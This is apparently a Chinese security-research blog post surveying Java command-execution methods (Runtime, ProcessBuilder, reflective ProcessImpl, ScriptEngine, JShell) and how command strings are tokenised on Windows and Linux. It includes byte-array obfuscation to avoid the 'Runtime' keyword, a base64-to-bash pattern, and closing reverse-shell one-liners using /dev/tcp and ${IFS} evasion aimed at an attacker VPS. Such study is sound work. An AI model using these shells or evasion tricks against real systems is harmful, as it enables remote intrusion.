前言
Java中执行命令的方法主要有java.lang.Runtime#exec,java.lang.ProcessBuilder#start以及java.lang.ProcessImpl#start,它们之间的调用关系如下图所示。

Runtime
Java中最为常见命令执行方式就是使用java.lang.Runtime#exec方法来执行本地系统命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.security;
import org.apache.commons.io.IOUtils;
import java.io.InputStream;
public class RuntimeExecDemo {
public static void main(String[] args) throws Exception {
InputStream inputStream = Runtime.getRuntime().exec("whoami").getInputStream(); System.out.println(IOUtils.toString(inputStream, "gbk")); } }
|
在某些时刻由于一些特殊的原因可能不能出现Runtime相关的关键词,此时可以采用反射的形式进行实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package com.security.CommandExecution;
import org.apache.commons.io.IOUtils;
import java.io.InputStream; import java.lang.reflect.Method; import java.util.Arrays;
public class RuntimeReflectDemo {
public static void main(String[] args) throws Exception {
String className = "java.lang.Runtime"; byte[] classNameBytes = className.getBytes(); System.out.println(Arrays.toString(classNameBytes));
String methodName = "getRuntime"; byte[] methodNameBytes = methodName.getBytes(); System.out.println(Arrays.toString(methodNameBytes));
String methodName2 = "exec"; byte[] methodNameBytes2 = methodName2.getBytes(); System.out.println(Arrays.toString(methodNameBytes2));
String methodName3 = "getInputStream"; byte[] methodNameBytes3 = methodName3.getBytes(); System.out.println(Arrays.toString(methodNameBytes3));
String payload = "whoami"; Class<?> clazz = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101})); Method method1 = clazz.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})); Method method2 = clazz.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class); Object obj = method2.invoke(method1.invoke(null, new Object[]{}), new Object[]{payload}); Method method3 = obj.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109})); method3.setAccessible(true);
InputStream inputStream = (InputStream) method3.invoke(obj, new Object[]{}); System.out.println(IOUtils.toString(inputStream, "gbk"));
} }
|
ProcessBuilder
ProcessBuilder类用于创建操作系统进程。每个ProcessBuilder实例管理一个进程属性集,其start方法利用这些属性来创建进程。由于java.lang.Runtime#exec后续会调用到java.lang.ProcessBuilder#start,并且ProcessBuilder#start是public类型的,因此也可以直接利用其来执行命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package com.security.CommandExecution;
import org.apache.commons.io.IOUtils;
import java.io.InputStream;
public class ProcessBuilderDemo {
public static void main(String[] args) {
try { InputStream inputStream = new ProcessBuilder("ipconfig", "/all").start().getInputStream(); System.out.println(IOUtils.toString(inputStream, "gbk")); } catch (Exception e) { e.printStackTrace(); } } }
|
ProcessImpl
对于java.lang.ProcessImpl类并不能直接调用,但是可以通过反射来间接调用ProcessImple#start来达到命令执行的目的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package com.security.CommandExecution;
import org.apache.commons.io.IOUtils;
import java.io.InputStream; import java.lang.reflect.Method; import java.util.Map;
public class ProcessImplDemo {
public static void main(String[] args) {
try { String[] exp = {"cmd", "/c", "ipconfig", "/all"}; Class<?> clazz = Class.forName("java.lang.ProcessImpl"); Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); method.setAccessible(true);
InputStream inputStream = ((Process) method.invoke(null, exp, null, ".", null, true)).getInputStream(); System.out.println(IOUtils.toString(inputStream, "gbk")); } catch (Exception e) { e.printStackTrace(); } } }
|
ScriptEngine
javax.script.ScriptEngine类是Java自带的用于解析并执行JS代码。ScriptEngine接口中有一个eval方法,可以执行Java代码。但需要注意的是,需要在有相应engine的环境中才能有效。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package com.security.CommandExecution;
import javax.script.ScriptEngine; import javax.script.ScriptEngineManager; import javax.script.ScriptException;
public class ScriptEngineDemo {
public static void main(String[] args) throws ScriptException {
String exp = "function demo() {return java.lang.Runtime};d=demo();d.getRuntime().exec(\"calc\")"; ScriptEngineManager manager = new ScriptEngineManager(); ScriptEngine engine = manager.getEngineByName("js"); engine.eval(exp); } }
|
JShell
从Java 9开始提供了一个叫jshell的功能,jshell是一个REPL(Read-Eval-Print Loop)命令行工具,提供了一个交互式命令行界面,在jshell中不再需要编写类也可以执行Java代码片段,开发者可以像python和php一样在命令行下写测试代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.security.CommandExecution;
import jdk.jshell.JShell;
public class JShellDemo {
public static void main(String[] args) {
try { JShell.builder().build().eval(new String(Runtime.getRuntime().exec("calc").getInputStream().readAllBytes())); } catch (Exception e) { e.printStackTrace(); } } }
|
Others
Windows
在Windows中,当要进行写文件等操作时,命令前缀要加cmd /c。在下图中示例代码执行echo “h3rmesk1t” > 1.txt时,可以看到是无法执行成功的。

下断点跟进,先进入java.lang.Runtime#exec(String command)。
1 2 3
| public Process exec(String command) throws IOException { return exec(command, null, null); }
|
继续跟进,进入java.lang.Runtime#exec(String command, String[] envp, File dir)。这里先会判断传入的command是否为空,当不为空时会传入StringTokenizer类中。
1 2 3 4 5 6 7 8 9 10 11
| public Process exec(String command, String[] envp, File dir) throws IOException { if (command.length() == 0) throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command); String[] cmdarray = new String[st.countTokens()]; for (int i = 0; st.hasMoreTokens(); i++) cmdarray[i] = st.nextToken(); return exec(cmdarray, envp, dir); }
|
跟进StringTokenizer类,这里会将传入的字符串按照\t\n\r\f和空格进行分割。
1 2 3
| public StringTokenizer(String str) { this(str, " \t\n\r\f", false); }
|
可以看到再进一步调用java.lang.Runtime#exec(String[] cmdarray, String[] envp, File dir)前,传入的待执行命令字符串变成了[“echo”, “”h3rmesk1t””, “>”, “C:\Users\95235\Downloads\1.txt”]。

之后再传入ProcessBuilder,最后来到ProcessImpl,Runtime和ProcessBuilder的底层实际上都是ProcessImpl。而不能执行echo命令的原因是因为Java找不到这个东西,没有环境变量,因此加上cmd /c即可。

Linux
在Linux环境中也存在着类似的问题,例如/bin/sh -c echo 1 > 1.txt虽然会创建文件,但是文件并没有内容,这是因为/bin/sh -c需要一个字符串作为参数来执行。而当后续为字符串时,根据上面分析的,经过StringTokenizer类后,整个命令变成了{“/bin/sh”,”-c”,””echo”,”1”,”>”,”1.txt””}。
因此,在Linux环境下,可以采用数组或者Base64编码的形式来执行命令。
1 2 3
| Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "echo 1 > 1.txt"});
/bin/bash -c {echo,base64-encode-string}|{base64,-d}|{bash,-i}
|
补充,在Linux环境下弹shell的一些姿势。
1 2 3 4 5
| bash -i >& /dev/tcp/127.0.0.1/5000 0>&1
Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/你的vps ip/监听端口<&1");
@java.lang.Runtime@getRuntime().exec('/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/你的vps ip/监听端口<&1')
|